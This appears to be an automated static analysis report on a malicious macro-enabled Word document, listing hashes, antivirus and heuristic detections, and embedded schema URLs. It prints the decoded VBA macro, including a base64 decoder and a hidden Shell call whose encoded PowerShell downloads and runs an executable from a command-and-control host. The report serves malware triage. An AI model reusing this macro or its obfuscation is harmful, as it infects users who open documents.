Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 11d48dc6d1521199…

MALICIOUS

Office (OOXML)

20.9 KB Created: 2021-06-05 04:41:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: bbc9537eac0780a871fde34e44638f68 SHA-1: 0f8c8c61ac1e22ec0e19e8de2f0a06f2296c3104 SHA-256: 11d48dc6d152119991c3148e223d3eef9d9829bef42569a9dc559c85fa740854
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros. A critical heuristic detected a Shell() call within the VBA code, indicating an attempt to execute external commands. ClamAV also identified the file as Doc.Malware.Chronos-6897935-0. The presence of the Shell() call suggests the macro is designed to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 5

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2424 bytes
SHA-256: a19dc0ec6343d39bfabe5554df0baa03bc656c48b4b54ab5f8d6d330a888beaa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Const clOneMask = 16515072
Private Const clTwoMask = 258048
Private Const clThreeMask = 4032
Private Const clFourMask = 63
Private Const clHighMask = 16711680
Private Const clMidMask = 65280
Private Const clLowMask = 255
Private Const cl2Exp18 = 262144
Private Const cl2Exp12 = 4096
Private Const cl2Exp6 = 64
Private Const cl2Exp8 = 256
Private Const cl2Exp16 = 65536
Public Function monkey(sString As String) As String
Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
Dim lTemp As Long
sString = Replace(sString, vbCr, vbNullString)
sString = Replace(sString, vbLf, vbNullString)
lTemp = Len(sString) Mod 4
If InStrRev(sString, "==") Then
iPad = 2
ElseIf InStrRev(sString, "=") Then
iPad = 1
End If
For lTemp = 0 To 255
Select Case lTemp
Case 65 To 90
bTrans(lTemp) = lTemp - 65
Case 97 To 122
bTrans(lTemp) = lTemp - 71
Case 48 To 57
bTrans(lTemp) = lTemp + 4
Case 43
bTrans(lTemp) = 62
Case 47
bTrans(lTemp) = 63
End Select
Next lTemp
For lTemp = 0 To 63
lPowers6(lTemp) = lTemp * cl2Exp6
lPowers12(lTemp) = lTemp * cl2Exp12
lPowers18(lTemp) = lTemp * cl2Exp18
Next lTemp
bIn = StrConv(sString, vbFromUnicode)
ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)
For lChar = 0 To UBound(bIn) Step 4
lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))
lTemp = lQuad And clHighMask
bOut(lPos) = lTemp \ cl2Exp16
lTemp = lQuad And clMidMask
bOut(lPos + 1) = lTemp \ cl2Exp8
bOut(lPos + 2) = lQuad And clLowMask
lPos = lPos + 3
Next lChar
sOut = StrConv(bOut, vbUnicode)
If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
monkey = sOut
End Function
Sub testb64()
Dim PSResp As String
PSResp = Shell(monkey("UG93ZXJTaGVsbCAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vb3VyYzJzZXJ2ZXIuY29tL2Rvd25sb2FkL2MyYWdlbnQuZXhlJywnYWdlbnQuZXhlJyk7U3RhcnQtUHJvY2VzcyAnYWdlbnQuZXhlJw=="), vbHide)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22016 bytes
SHA-256: 2a34243779d1e258557c974e25d928f447f7fe63bfc8daad044207e76639c3fb
Detection
ClamAV: Doc.Malware.Chronos-6897935-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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